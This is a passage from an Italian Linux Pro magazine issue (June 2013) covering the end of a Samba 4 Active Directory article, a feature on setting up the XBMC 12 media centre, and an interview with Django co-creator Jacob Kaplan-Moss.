4099219672-1275272411-291422405- 1104Potrete così modifi care una voce del database di assegnazione ID di Samba con il vostro editor preferito, modifi cando il numero uid dell’utente (la posizione di idmap.ldb dipende dalla vostra installazione ma di solito è qualcosa come /var/lib/samba/private o /usr/local/samba/private): 0 # editing 1 records 1 # record 1 2 dn: CN=S-1-5-21-4099219672- 1275272411-291422405-1105 3 cn: S-1-5-21-4099219672- 1275272411-291422405-1105 4 objectClass: sidMap 5 objectSid:: AQUAAAAAAAUVAAAA2CB V9NscA0zFwF4RUQQAAA== 6 type: ID_TYPE_BOTH 7 xidNumber: 3000020 8 distinguishedName: CN=S-1-5-21- 4099219672-1275272411-291422405- 1105Il valore da modifi care è xidNumber, che potrete sostituire con l’uid corretto dell‘utente. Le modifi che verranno salvate nel database all’uscita dalla sessione.L’impostazione delle share dei fi le può essere effettuata analogamente al caso di Samba ‘classico’ con l’aggiunta dei rispettivi blocchi a smb.conf. Potete condividere [homes] come in Samba ‘classico’ ma anche spingervi oltre offrendo profi li di roaming con una share [profi les]: [profi les] comment = Roaming Profi les path = /var/lib/samba/profi les writable = yes browsable = noPer confi gurare un utente con un profi lo di roaming, usate lo strumento Active Directory Users and Computer per modifi care le impostazioni dell’utente e impostate il profi lo di quest’ultimo su \\miodominio profi les\%USERNAME%. Il profi lo dell’utente verrà così copiato dal disco locale all’area Profi les del server al momento dell’apertura e della chiusura della connessione con qualunque client del dominio.Quali che siano le vostre esigenze, dalla condivisione base di fi le alla creazione di un ambiente Active Directory completo, Samba 4 vi offre una pratica alternativa Open Source alle costose soluzioni proprietarie, senza farvi sentire la mancanza di alcunché. Insomma, Samba continua a dimostrarsi un elemento fondamentale per garantire l'interoperabilità tra i sistemi. LXP

Se il pannello relativo agli utenti di Active Directory non è visualizzato nella console, selezionate File � Aggiungi o rimuovi snap-in per farlo comparire

“Quali che siano le vostre esigenze, Samba 4 vi offre una pratica alternativa Open Source”

TipTrovate le note di pubblicazione di Samba 4 su www.samba.org/samba/history/samba-4.0.0.html

LXP130_14-19_samba4 19 06/06/13 12:23

Page 22: Linuxpro 130 Giugno 2013

Trasformare un sistema Linux in un centro multimediale è sempre stata una cosa comune. Forse perché potete installare quante versioni di Linux volete senza

pagare alcuna licenza d’uso del sistema operativo, o forse perché la stabilità di Linux ne fa un’ottima scelta per una macchina dedicata a registrare tutti gli episodi di Un posto al sole.Ma è sempre stato un lavoro da appassionati. Questo è il motivo per cui, per molti anni, il solo centro multimediale installabile da usare con un televisore è stato MythTV, un pacchetto monolitico client/server che poteva (e può ancora!) fare qualsiasi cosa: dall’automatizzazione all’eseguire ricerche permanenti dei programmi che volete registrare. È un sistema meraviglioso, ma è complicato da impostare, avete bisogno

sia di un programma che si occupi delle registrazioni, sia di un’interfaccia per guardare i contenuti, ed entrambi possono essere leggermente complicati da installare.A fine gennaio è stata rilasciata la versione 12 della migliore alternativa a MythTV: XBMC. Questo tool sta diventando rapidamente

il sostituto ideale per quegli utenti che non hanno abbastanza tempo per configurare MythTV e, di conseguenza, è diventato una fantastica interfaccia per tutti i vostri

contenuti multimediali. Questo è il motivo per cui nella nostra recensione gli abbiamo dato il nostro premio di migliore applicazione. È l’equivalente del lato utente di MythTV, solo che riesce a fare molti degli stessi compiti con un’interfaccia molto più lineare e più semplificata. L’accelerazione OpenGL

fa in modo che l’interfaccia utente scali e giri più efficientemente sui televisori ad alta definizione, come la riproduzione, e l’interfaccia stessa è l’ideale per gli utenti non tecnici più abituati a quelle offerte dai set-top box commerciali. Con una versione così grandiosa,

che ora offre molte delle stesse funzioni di MythTV, abbiamo pensato che fosse l’occasione perfetta per dare a XMBC un po’ più di attenzione. Buona lettura.

“XBMC è diventato una fantastica interfaccia per tutti i vostri contenuti multimediali”

Dopo aver mantenuto per anni un’installazione di MythTV, Linux Pro pensa di aver trovato una soluzione migliore

Alla scoperta di XBMC

XBMC

20 LinuX prO 130

LXP130_20-23_xbmc 20 06/06/13 01:45

Page 23: Linuxpro 130 Giugno 2013

L a X di XBMC notoriamente sta per “Xbox”, sì, proprio la stessa console di videogiochi prodotta e commercializzata da Microsoft.

Le prime versioni trasformavano la console originale in un riproduttore multimediale che si connetteva direttamente al televisore e all’amplificatore. Fu fondato nel 2002 da due sviluppatori, uno chiamato d7o3g4q e l’altro runTiME, e ciascuno lavorava sui propri componenti proprietari prima di unire le forze con Frodo, il fondatore di YAMP - Yet Another Media Player (un Altro Lettore Multimediale). il nuovo progetto dopo la fusione diventò Xbox Media player 2.0, che è stato distribuito alla fine del 2002. un anno dopo nacque Xbox Media Center, con il cambiamento di nome che segnalava una differenza di enfasi e di scopo per il progetto, che è ancora evidente oggi. La prima versione stabile di XBMC uscì a giugno 2004 e due anni dopo fu rilasciata la versione 2.0. infine, nel 2007, ci fu un distaccamento dalla console Xbox con un invito agli sviluppatori che potevano essere interessati a convertire XBMC per Linux, usando SDL e OpenGL come sostituti delle DirectX proprietarie usate sulla piattaforma di Microsoft.

InstallazioneCirca 10 anni dopo, XBMC è alla versione 12, nome in codice Frodo. È maturato diventando uno dei migliori centri multimediali multipiattaforma, più che capace di rimpiazzare quasi qualsiasi applicazione multimediale con la sua interfaccia semplificata e accelerata.

Che cos’è XBMC?Ci sono voluti dieci anni per arrivare a questi risultati, ma il progetto ha origini affascinanti

La nuova versione supporta sia Android che raspberry pi, comprende la riproduzione in alta definizione sia audio che video e può essere trasformata in un registratore video digitale completo. Gira su quasi tutte le piattaforme e può essere divisa in un’interfaccia multimediale per il salotto e un server per gestire il contenuto. È diventato un ottimo sostituto per il brillante MythTV e propone un’interfaccia utente persino migliore e meno ostica, sebbene non sia altrettanto personalizzabile o potente.Grazie alla sua ubiquità, potete installarla in qualsiasi distribuzione mainstream usando un gestore di pacchetti. Se volete far girare l’interfaccia su di una raspberry pi, potete usare la distribuzione OpenELEC o raspBMC, ma dovrete avere Arch o una distribuzione recentissima se volete giocare con XBMC 12, che è quello che vi consigliamo. Tuttavia, se avete una macchina Windows o OS X che volete trasformare in qualcosa di utile, ci sono le versioni per entrambe le piattaforme, che occuperanno tutto lo schermo, così che potrete far finta

di stare ancora usando Linux. XBMC è uno dei modi migliori di usare una macchina libera, poiché può essere facilmente riportata all’uso normale con un click sul pulsante Spegni. Vi consigliamo anche un paio di pacchetti extra che possono migliorare l’accelerazione video sulle schede grafiche nvidia e AMD. La libreria vdpau per l’hardware nvidia e xvba per l’AMD aiuteranno il vostro sistema a decodificare i flussi video ad alta definizione. Se volete integrare il lettore multimediale con un videoregistratore digitale, come quello della raspberry pi basato su TVHeadend, dovrete installare il pacchetto xbmc-pvr-addons, sebbene molte distribuzioni lo includano nel pacchetto predefinito.

1 InstallazioneÈ importante avere la versione 12 di XBMC e non semplicemente la versione compresa nella vostra distribuzione. raccomandiamo agli utenti di ubuntu di aggiungere il ppA ufficiale (https://launchpad.net/~team-xbmc/+archive/ppa) al loro elenco di sorgenti. Le distribuzioni specifiche per XBMC, come XBMCbuntu, sono una buona scelta, specialmente se volete avviare un ambiente client live.

Passo passo Iniziare con XBMC

2 Avviare XBMCper impostazione predefinita, l’applicazione si avvierà a schermo intero. Questo comportamento può essere cambiato solo dall’interno di XBMC selezionando Sistema ➠ Uscita video ➠ Modalità Display, ma è necessaria l’accelerazione OpenGL perché funzioni. È comprovato che funziona con hardware intel, AMD e nvidia, ma potreste aver bisogno di usare i driver proprietari per ottenere prestazioni migliori.

3 Aggiungere contenutiOgnuna delle opzioni Immagini, Video e Musica disponibile dal menu principale vi permette di aggiungere le posizioni di provenienza dei contenuti. Questi contenuti si possono trovare sia sul filesystem locale sia essere reperibili su una rete locale usando upnp, nFS e Samba. il programma di ricerca file integrato rende piuttosto semplice trovare le vostre cose, ovunque esse si trovino all'interno della vostra LAn.

Il menu di selezione iniziale dei contenuti è elegante ed essenziale

XBMC

LinuX prO 130 21

LXP130_20-23_xbmc 21 06/06/13 01:46

Page 24: Linuxpro 130 Giugno 2013

E: Mostra la EpGB: programma una registrazione da Live TVH: Finestra dei canali TVF: Avanti veloceR: riavvolgeP: riproduceSpazio: riproduzione/pausa

X: FermaM: Controlli sullo schermoS: Menu di chiusuraSinistra: Capitolo precedente o 30 secondi indietro Destra: Capitolo successivo o 30 secondi avantiSu: Canale successivo, avanti 10 minuti o prossimo capitolo

Giù: Canale precedente, indietro 10 minuti o precedente capitoloESC: Esce dallo schermo intero. (punto): Salta avanti, (virgola): Salta indietro+ o =: Alza il volume-: Abbassa il volume

Scorciatoie di tastiera

Ci sono molti strumenti che possono essere usati per gestire la vostra raccolta di foto, ma grazie alle diverse fonti che potete aggiungere e alla scelta tra la vista Lista, Miniature e Immagini, pensiamo che XBMC trovi il giusto equilibrio. purtroppo, come la schermata qui sopra illustra spiacevolmente, non può far nulla per la qualità delle vostre foto, perciò vi suggeriamo di trovare prima un mentore o un’accademia che vi insegni qualcosa di questa oscura arte.

Le migliori funzioni di XBMCSei ragioni per cui questo centro multimediale è il migliore

1 Gestione fotoQuando aggiungete la sorgente per il vostro contenuto video, potete scegliere di ricercare immagini e informazioni contestuali nel database dei fi lm, aggiungendo un taglio professionale alla vostra (legalmente posseduta!) collezione di fi lm. Le copertine per i vostri contenuti rendono più facili e più intuitive le ricerche e sebbene i fi le possano essere archiviati su di un’unità esterna, vale lo sforzo iniziale, anche se lasciate che il processo giri tutta la notte.

2 Copia di contenutiFacendo click su Add-on, seguito da Altro per le opzioni del menu immagini, Video e Musica, avrete accesso a una grande varietà di altre fonti per i vostri contenuti. Molti sono servizi trasmessi in rete, come la sorgente di video di Al Jazeera o la connessione diretta alla biblioteca di podcast di iTunes in Musica. Questo è il momento ideale per citare il podcast Tuxradar che può essere trovato nella biblioteca di iTunes. È il migliore, onestamente.

3 Add-on

Se avete installato TVheadend potete attivare l’estensione pVr di XBMC andando a Impostazioni ➠ Add-on ➠ Add-on disabilitati ➠ Client PVR. Dopo averlo fatto (e cambiato l’indirizzo ip se necessario), viene aggiunta al menu l’opzione Live TV e da qui potete guardare la TV, programmare le registrazioni e scorrere la EpG. Abbiamo scoperto che potete facilmente trasmettere contenuto in diretta su una LAn e ci siamo persino riusciti con un paio di canali HD contemporaneamente. Se aprite la porta 9982 dal vostro server TVheadend, attraverso il fi rewall, alla macchina client di XBMC, potete anche trasmettere nella rete. Ma ci vuole una discreta larghezza di banda in caricamento per questo compito.

4 PVRXBMC usa una fantastica architettura a estensioni.Scegliete il menu Programmi, per esempio, e potrete facilmente aggiungere tutti i tipi di funzione. C’è un programma che controlla Gmail, un avviatore di emulatori e persino un quiz sui fi lm. Se poi volete crearne uno vostro, non è così diffi cile. La riga di testo scorrevole che vedete spesso in fondo allo schermo vi aggiornerà sullo stato delle varie estensioni e questi aggiornamenti possono anche essere installati dalla pagina di confi gurazione Available Updates. Auto aggiornamento può essere attivato (e disattivato) dal menu laterale che appare quando premete il pulsante a sinistra di questa pagina, e vi consigliamo di attivarlo.

5 ProgrammiXBMC è distribuito con un’interfaccia utente chiamata Confl uence. Questa dà all’interfaccia un meraviglioso aspetto moderno, ma ci sono molti altri temi disponibili. Andate alla voce di menu Impostazioni ➠ Aspetto ➠ Skin, selezionate Confl uence e premete il pulsante Altro. Tra i nostri preferiti ci sono il nuovo tema Aeon, questo ha l’aspetto molto professionale quando avete le copertine dei fi lm nella vostra raccolta, il tema Back Row, che scimmiotta l’aspetto del dispositivo televisivo della mela, e Rapier, che porta un po’ di necessario minimalismo all’insieme con un’interfaccia utente non intasata da troppe immagini. E se non vi piace nessuna delle altre, sono facili da modifi care!

6 Temi dell’interfaccia

Aggirarsi in XBMC può essere piuttosto complicato.Qui c’è un rapido elenco dei controlli più comuni

XBMC

22 LinuX prO 130

LXP130_20-23_xbmc 22 06/06/13 01:46

Page 25: Linuxpro 130 Giugno 2013

Telecomando

un componente essenziale di cui avrete bisogno per connettere XBMC a un televisore è un telecomando. Trattandosi di Linux, ci sono tante soluzioni diverse quante sono le distribuzioni. potete confi gurare ricevitori e trasmettitori a infrarossi usando LIRC, per esempio, o comprare periferiche che possono essere programmate per inviare controlli di tastiera. Ma la più facile è usare il vostro cellulare. Questo perché c’è un’app uffi ciale sia per dispositivi Apple che Android che è gratuita da scaricare e installare che invierà segnali di controllo a XBMC senza che vi dobbiate preoccupare di cose come l’allineamento o la forza del segnale. per far funzionare il telecomando di Android, prima dovete

attivare Allow control of XBMC via HTTP nel menu Impostazioni ➠ Servizi ➠ Webserver. Questo in pratica lancia un Web server da XBMC, così che possiate ora usare qualsiasi browser indirizzato alla porta 8080 dell’indirizzo ip della vostra macchina con XBMC, come http://localhost:8080, per aprire un’interfaccia e i controlli di riproduzione. Quando l’app è installata sul vostro dispositivo Android, tutto quello che dovete fare è premere il pulsante Add Host. Questo apre una nuova fi nestra per confi gurare il server XBMC. Sembra complicato, ma è veramente facile. inserite semplicemente qualcosa di descrittivo nel campo Description più l’indirizzo ip

della macchina dove gira il client. L’indirizzo ip può essere trovato sia usando l’applicazione di rete della vostra macchina, sia digitando ifconfi g sulla riga di comando. Dovete anche assicurarvi che le porte siano impostate a 8080 e 9090. Cliccate su OK e dovreste ora essere in grado di controllare la vostra sessione di XBMC da remoto. Troviamo che l’opzione Remote Control del menu principale sia la più utile, poiché trasforma il vostro telefono in un telecomando fi sico, ma le altre opzioni possono essere usate per gestire i vostri contenuti.

Una delle cose migliori di XBMC è il fatto di essere veramente multipiattaforma. non solo ci sono le versioni per Windows,

OS X e Linux, ma la versione 12.0 aggiunge il supporto per Android e in più ci sono versioni per le prime due generazioni di Apple TV e persino per i dispositivi iOS con jailbreak. La versione Android può essere solo agli inizi, ma è già una conversione completa dell’applicazione, capace di fare qualsiasi cosa facciano le versioni per pC. poiché questa è la prima versione, il supporto alla decodifica hardware è limitato. Questo vuol dire che la maggior parte dei dispositivi dovrà usare la decodifica software, ma è solo questione di tempo prima che il gruppo sia in grado di sfruttare l’accelerazione nascosta dentro molti tablet e telefoni Android per riprodurre contenuti con basso impiego della Cpu. Anche così, i dispositivi con Android incorporato, come il MiniX Neo X5, sono stati segnalati perché funzionano estremamente bene, riproducendo contenuti a 1080p e suono HD, sono comunque un’ottima scelta anche prima che il software abbia avuto la possibilità di maturare adeguatamente. L’elenco dei prerequisiti comprende il supporto a Tegra 3 e Android 4.0, sebbene le versioni precedenti potrebbero funzionare. Sia il nexus 7 che il nexus 10 sono indicati come funzionanti, per esempio, come la versione americana del Samsung Galaxy S (iii). più il vostro hardware è vicino all’obiettivo uffi ciale di sviluppo di XBMC, più è probabile che funzioni. L’obiettivo uffi ciale attualmente è il Pivos XIOS DS di AMLogic. presenta una Cpu ArM Cortext A9, una Gpu Mali 400 3D, oltre all’uscita HDMi e un telecomando. non potrà mai sostituire un pC anche

L’hardware per XBMCDalla Raspberry Pi all’Apple TV, potete far girare XBMC dovunque

di bassa potenza, ma è un’ottima soluzione se volete aggiungerla velocemente alla vostra installazione. il dispositivo è veramente minuscolo, con uno spessore di soli 1,5 cm. potreste facilmente collegare la scatola al retro di un televisore di medie dimensioni e lasciarla silenziosamente connessa alla vostra rete wireless, a distribuire contenuti a richiesta.

Raspberry Piun’altra ottima nuova piattaforma per XBMC è la raspberry pi. in termini di specifi che è persino più modesto di molti dispositivi Android, ma si sta facendo molto per assicurare che le prestazioni siano le migliori possibili e il basso costo non ha eguali. i video ad alta defi nizione sono riprodotti senza problemi e funziona bene con la porta HDMi incorporata sulla pi. il miglior modo di mettere XBMC sulla vostra pi è tramite la distribuzione OpenELEC (Open Embedded

Linux Entertainment Center) ma anche raspBMC è un'ottima opzione. Mentre scriviamo, la versione di OpenELEC è la terza release candidate della 3.0. il fi le da scaricare è un tar.bz2 e dovreste prima decomprimerlo con un doppio click sulla vostra scrivania, oppure con tar xvf OpenELEC-RPi.arm.tar.bz2 da riga di comando. inserite il lettore di schede SD nella vostra macchina Linux e usate l’output di dmesg per accertare quale periferica è stata assegnata. Di solito, è qualcosa come /dev/sdc, ma dovete essere sicuri, perché se vi sbagliate perderete dati importanti, poiché OpenELEC sarà scritto direttamente in una periferica diversa. Quando sapete il nome della periferica, inserite la cartella che avete scompattato e digitate sudo ./create_sdcar /dev/sdX, sostituendo il nodo della periferica con il vostro. A processo terminato, avrete una versione funzionante di XBMC che si avvia direttamente dalla vostra raspberry pi. LXP

L’hardware per XBMCDalla Raspberry Pi all’Apple TV, potete far girare XBMC dovunque

Il Pivos XIOS DS è l’obiettivo di sviluppo principale per la versione Android di XBMC e di conseguenza dovrebbe avere per primo tutte le ultime funzioni

Usate il vostro telefono Apple o Android come telecomando e non

preoccupatevi più degli infrarossi

XBMC

LinuX prO 130 23

LXP130_20-23_xbmc 23 06/06/13 01:46

Page 26: Linuxpro 130 Giugno 2013

Nei due anni trascorsi da quando abbiamo parlato per l’ultima volta con uno dei creatori di Django, il suo strepitoso successo non ha accennato a tramontare. Su questo numero (vedi pag. 94) trovate l’ultima parte del nostro tutorial su Django, framework già utilizzato tra gli altri da Pinterest, Instagram e Mozilla per creare interfacce Web effi cienti, dinamiche e straordinariamente scalabili. Jacob, uno dei benevoli ‘dittatori a vita’ di Django, è stato della partita fi n dall’inizio. Non abbiamo osato chiedergli che cosa pensa di Django Unchained... In compenso, ci ha parlato a lungo di come se la sta cavando Django, del modo in cui il team gestisce le sue funzioni e della spinosa questione di come produrre una documentazione d’eccezione.

Linux Pro: Django non sembra aver subito alcun declino negli ultimi anni. Come sono andate le cose?Jacob Kaplan-Moss: Molto, molto bene. La crescita di Django continua a essere esplosiva e credo che il nostro principale problema come comunità sia la velocità con cui cresciamo. La crescita è talmente rapida da diventare un problema. Lo so, sembra la classica risposta idiota a domande tipo “Qual è il tuo peggior difetto?”... insomma, è un problema che fa piacere avere, no? È interessante ed entusiasmante.

LXP: Ci risulta che hai tentato di contare gli utenti di Django...JKM: Sì, in realtà lo faccio più o meno una volta all’anno.

LXP: E come fai?JKM: Beh, tiro a indovinare (ride). No, voglio

dire che ci sono vari metodi di misurazione. Con Google Trends, il problema è che ora come ora è impossibile usare il termine ‘Django’ a causa del fi lm di Quentin Tarantino; poi, naturalmente, c’è anche il musicista. Comunque, qualche elemento si può ricavare.Possiamo esaminare il numero degli sviluppatori, il numero degli utenti che condividono patch, il numero di persone iscritte alle varie mailing list. Disponiamo di stime approssimative del numero di scaricamenti di Django: singoli IP che si connettono al sito, traffi co sul sito stesso, cose del genere. Ciascuno di questi casi fornisce un sottoinsieme. Penso però che ci sia un certo numero di utenti sconosciuti; alcuni di questi leggono la documentazione, altri

condividono patch o partecipano e altri ancora contribuiscono attivamente. In ogni caso, penso sia possibile estrapolare una tendenza da tutto ciò, perciò quando si rileva una crescita di tutti questi dati si può presumere con una certa sicurezza che è la comunità degli utenti nel suo complesso che sta crescendo, anche se non si è in grado di misurarla direttamente.

LXP: Hai notato un’accelerazione in questa crescita?JKM: Dovrei dare un’occhiata al mio blog per controllare i numeri ma mi pare di ricordare

che abbiamo registrato una crescita esponenziale tra il periodo precedente alla versione 1.0 e quello successivo, per un paio d’anni circa. Poi le acque si sono un po’ calmate ma la crescita ha continuato a essere piuttosto veloce. Mi sembra che il traffi co sul sito sia più o meno raddoppiato durante l’ultimo anno. Direi che stiamo ancora assistendo a una crescita piuttosto esplosiva.

LXP: Il modo in cui viene usato Django è cambiato nel corso del tempo?JKM: È proprio questo il fatto rilevante. Inizialmente, essendo nato in un contesto giornalistico, Django è stato considerato a lungo come uno strumento progettato per utilizzi ‘mediatici’.

LXP: Avevamo letto qualcosa del genere ma non abbiamo mai capito bene di cosa si trattasse.JKM: L’idea era che si trattasse più che altro di una piattaforma editoriale, di qualcosa da usare per i siti incentrati sui contenuti; siti con cui l’utente-tipo non

interagisce, non lascia commenti o partecipa a sondaggi, bensì legge e consuma. Il classico modello con un editore e un gran numero di consumatori.

LXP: Come un CMS?JKM: Sì, Django deriva da un CMS. Non è in sé un CMS ma la gente lo usa in quel modo. Sebbene sia sempre stato un set generale di strumenti per lo sviluppo Web, la sua reputazione era quella ed è grazie a essa che abbiamo conquistato molti dei primi utenti. Ciò che è veramente

ESPANSIONE

“Credo che il nostro principale problema come comunità sia la velocità con cui cresciamo”

Django sta conquistando il Web. Jacob Kaplan-Moss condivide i suoi piani di dominio con Linux Pro

Dittatore benevolo

Intervista

24 LINUx PRO 130

LXP130_24-27_intervista 24 06/06/13 16:58

Page 27: Linuxpro 130 Giugno 2013

Intervista

LINUx PRO 130 25

LXP130_24-27_intervista 25 06/06/13 16:58

Page 28: Linuxpro 130 Giugno 2013

cambiato negli ultimi tre o quattro anni è che ci siamo lasciati alle spalle quella reputazione e la gente non pensa più a Django come a uno strumento ‘giornalistico’ ma come a un framework generale per lo sviluppo Web; in questo contesto, ciò che sta accadendo è che non saprei citare un solo settore in cui Django non sia utilizzato. Certo, ci sono i soggetti più prestigiosi come Disqus, Instagram e Pinterest, che stanno creando soluzioni d’avanguardia nel campo dei social network, ma all’estremità opposta dello spettro, quest’anno collaborerò con un’azienda americana ‘tradizionale’ per integrare Django nel suo set di sviluppo. Insomma, è un panorama a 360°.

LXP: Perché alcune di queste imprese si rivolgono a Django?JKM: Quello che si sta verificando è che molte aziende stanno toccando il fondo dei loro CMS o strumenti intranet di prima generazione; o, in altre parole, che la prima generazione del ‘software as a service’ è ormai vecchia di un decennio. Gli strumenti delle imprese che hanno iniziato per prime a offrire software basati sul Web hanno ormai 10, 12 o o 15 anni di vita; hanno utilizzato di tutto, come Java, .Net, PHP. Il futuro di Java e .Net è decisamente incerto oggi. Le imprese

non sanno che ne sarà di Java dopo il pasticcio di Oracle e hanno dubbi sulla direzione imboccata da Microsoft come azienda; Microsoft, così come Oracle, sta inviando segnali contraddittori alla sua comunità di sviluppatori. Al tempo stesso, le aziende vogliono ricostruire e rinnovare i propri strumenti e Python non costituisce più una tecnologia misteriosa e minacciosa. Lo usa anche Google e Python ha ormai 20 anni. È diventato una tecnologia tradizionale, consolidata. Perciò queste imprese sono disposte a scommettere su Python; se si tratta di creare progetti Web in Python, Django è di gran lunga lo strumento leader. Perciò, credo, rappresenta una scelta scontata per loro.

LXP: Dunque, uno dei cambiamenti è che gli utenti stanno abbandonando Java e .Net?JKM: Quello che vedo è una forte crescita del mondo Web di Python, non solo di Django. Voglio dire, Django se la sta cavando alla grande ma ci sono anche Pyramid e Flask che stanno entrambi conquistando miriadi di nuovi utenti, senza sottrarre a Django quote di mercato: stiamo crescendo anche noi. Tutti gli abitanti del mondo di Python ne stanno traendo vantaggio.

LXP: Il merito è di Python, allora?JKM: Credo che Python stia diventando

importante. Tutti parlano di OpenStack: OpenStack sembra essere il nuovo grande evento. E che cos’è OpenStack? È Python e Django. Tutti gli strumenti di gestione sono di Python, tutte le interfacce utente sono di Django. Perciò, un’azienda che intenda implementare una strategia cloud può optare per un distributore proprietario come Amazon o RackSpace, oppure per l’Open Source, che non è più un concetto misterioso e minaccioso. Se sceglie l’Open Source, sceglierà Python. Non è più una decisione difficile; è quasi

scontata ormai.

LXP: Ciò significa che Python ha conquistato una sua rispettabilità come strumento per lo sviluppo Web?JKM: Credo che sia accaduta anche un’altra

cosa e cioè che in generale i linguaggi dinamici sono molto più accettati. La leggenda metropolitana sostiene che non sia possibile scrivere programmi sicuri con un linguaggio dinamico perché il compilatore non aiuta. Oggi però la gente ha abbastanza esperienza con i linguaggi statici (come Java e .Net) da un lato e con Python dall’altro per sapere che questo non è vero. Certo, ci sono delle differenze ed è necessario fare le cose in modo diverso. Sia le piattaforme Java/.Net sia quelle Python, però, sono abbastanza mature da non rappresentare più delle incognite. Non sono più delle novità. Le persone sanno che cosa implicano le loro scelte. Di fronte a una scelta libera e chiara, optano sempre più per l’Open Source e quindi per Python.

LXP: Il tuo ruolo è cambiato?JKM: Tre anni fa lavoravo per un’azienda esordiente. Oggi sono un consulente e mi occupo di Python e Django. Collaboro con le aziende per aiutarle a usare Python e Django. Il nostro cliente-tipo si sta appena affacciando su questo universo e ha bisogno di una mano per capirci qualcosa.

LXP: I clienti si rivolgono a voi sapendo a malapena che cos’è Django?

JKM: Dipende. Abbiamo clienti che usano Python e Django da un po’ e ci chiedono di controllare se ciò che stanno facendo va nella direzione giusta. Altri nostri clienti stanno muovendo i primi passi in questo campo e chiedono consiglio su chi assumere, come formare il loro personale, come iniziare con il piede giusto, come creare l’architettura iniziale e via dicendo.

LXP: L’architettura iniziale è ancora importante? Perché Django si direbbe più tollerante…JKM: Credo che uno dei vantaggi di un linguaggio come Python e di uno strumento come Django sia che lasciano maggior spazio alla sperimentazione. I linguaggi ad alto livello sono più concisi, il che significa che si può ottenere la stessa cosa con una minore quantità di codice. Significa anche che, al momento di ristrutturare il codice, occorre meno lavoro. Sì, direi che probabilmente Django è un po’ più tollerante verso gli errori commessi all’inizio.

LXP: La gente usa ancora il database MySQL come back-end?JKM: Sai, è buffo: dopo che Oracle ha acquistato MySQL, si sta verificando la stessa cosa accaduta con Java. Le aziende sono piene di dubbi e di timori su ciò che capiterà. PostgreSQL sta vivendo un boom simile a quello di Python.Si dà il caso che la maggior parte degli sviluppatori principali di Django siano fan di PostgreSQL, che tendiamo a usare di più; sicuramente lo preferisco, anche se non credo che questo conti. In fin dei conti, le differenze tra PostgreSQL e MySQL erano molto maggiori in passato rispetto a oggi; oggi sono entrambi software eccellenti. Direi che i miei dubbi su MySQL riguardano il suo controllo sul piano aziendale, non gli aspetti tecnici.

LXP: Come siete riusciti a creare una documentazione così eccellente per Django?JKM: Uno dei motivi è sicuramente che Adrian (Holovaty, uno dei creatori di Django) è laureato in giornalismo e io lo sono in letteratura, perciò abbiamo sempre preso seriamente la scrittura.

LXP: La maggior parte dei programmatori preferisce concentrarsi sullo sviluppo...

PROPRIETARI VS OPEN SOURCE

“Di fronte a una scelta libera e chiara, le persone optano sempre più per l’Open Source”

Intervista

26 LINUx PRO 130

LXP130_24-27_intervista 26 06/06/13 16:58

Page 29: Linuxpro 130 Giugno 2013

JKM: Fin dall’inizio ci siamo imposti di non pubblicare alcuna funzione senza documentazione. Una patch non è completa se non comprende i relativi test e la documentazione. Su questo punto i nostri parametri sono piuttosto esigenti.Credo che qualsiasi comunità sia influenzata dal tono assunto da coloro che la guidano. Credo che lanciando la versione iniziale di Django abbiamo offerto fin dall’inizio un’eccellente documentazione. Per noi questo rappresenta un’aspettativa culturale e attiriamo persone che condividono questa idea.

LXP: Ciò significa anche che la gente che legge la documentazione, come noi, può capirci qualcosa.JKM: È la cosa a cui penso di più. In realtà ho la sensazione che ultimamente ci siamo lasciati un po’ andare sulla qualità e mi piacerebbe concentrarmi e lavorare di più su questo punto. Stiamo arrivando a un punto in cui la documentazione è così vasta che organizzare e trovare le cose sta diventando un problema; ed è un problema che non abbiamo mai avuto. La buona notizia è che tutto quanto è documentato; per il momento, però, non è facilissimo trovare ciò che si cerca. Dovremo affrontare seriamente questo problema e lavorarci sopra.

LXP: Come viene creata la documentazione?JKM: La documentazione di Python contiene uno strumento chiamato Sphinx. La documentazione di Python era originariamente scritta in LaTex, perciò contribuirvi era veramente difficile perché per farlo era necessario capire LaTex. Quindi è stato creato Sphinx, uno strumento molto intelligente. È il miglior strumento per la documentazione tecnica che abbia mai usato.

LXP: Gli sviluppatori creano la documentazione delle funzioni da loro realizzate?JKM: Sì, la creano loro. Non sempre è la stessa persona a fare entrambe le cose: a volte uno crea una patch, un altro scrive la documentazione e un altro ancora la rivede. Cerchiamo di essere tolleranti. Molti membri della nostra comunità non hanno l’inglese come lingua madre e noi cerchiamo di dire loro: “Non preoccupatevi di questo, cercate di cogliere l’essenziale”. Sono fermamente convinto

che la persona ideale per scrivere la documentazione sia quella che ha implementato la funzione. Nessuno la comprende meglio. Chi tentasse di ricostruirla a posteriori non potrebbe mai ottenere un risultato migliore di quello del creatore originale; questo però non significa che quest’ultimo debba essere un grande scrittore. È sufficiente che chiarisca gli elementi essenziali, poi possiamo subentrare noi.

LXP: Due anni fa hai detto che uno degli aspetti migliori di Django era la varietà delle persone che contribuivano al suo sviluppo. È ancora così? È diventato più difficile gestire questa comunità?JKM: Abbiamo avuto un periodo di ristagno in relazione alle persone che contribuivano. La nostra politica iniziale era che i nuovi collaboratori potevano entrare nella comunità solo con il consenso di quelli esistenti, un sistema

che non è adatto a una comunità molto vasta. Ottenere il consenso di cinque persone è facile; quando diventano dieci o quindici, beh… Così abbiamo abbandonato questo sistema, siamo diventati un po’ più aperti e questo è stato un passo decisamente positivo. Un problema persistente è che la nostra piramide ha una base molto larga, mentre al vertice abbiamo una marcata carenza di tempo per le attività come la recensione delle patch finali e il loro controllo.

Trovare persone sufficienti che si occupino di questo è una lotta costante; ma di certo abbiamo moltissima gente che condivide codici e ottimi collaboratori che li recensiscono.

LXP: In che modo viene decisa la direzione da dare al progetto?JKM: Adrian e io siamo i benevoli ‘dittatori a vita’; è un titolo scherzoso nato nell’ambito della comunità di Python. Insomma, abbiamo il potere di dettare legge e cerchiamo di non utilizzarlo mai.

LXP: Ci sono progetti per una nuova versione?JKM: Abbiamo qualche idea generale. Io so che cosa voglio e ho una mezza idea di cosa si dovrebbe fare; ma dipende tutto da ciò su cui le persone stanno lavorando.

LXP: Magari qualcosa come Python 3000?JKM: Penso che Python 3 sia stato qualcosa di più mirato. Vi era un’idea piuttosto chiara di ciò che sarebbe stato e non solo nella mente di Guido (Van Rossum, il dittatore benevolo di Python), visto che in quel progetto sono state coinvolte diverse persone. Vi era però una specifica chiara, un’idea precisa alla base. Noi siamo più aperti nelle nostre release. Più che altro, si tratta di vedere a che punto siamo al momento della scadenza: nella release entra ciò che risulta completo nell’istante in cui blocchiamo lo sviluppo di nuove funzioni.

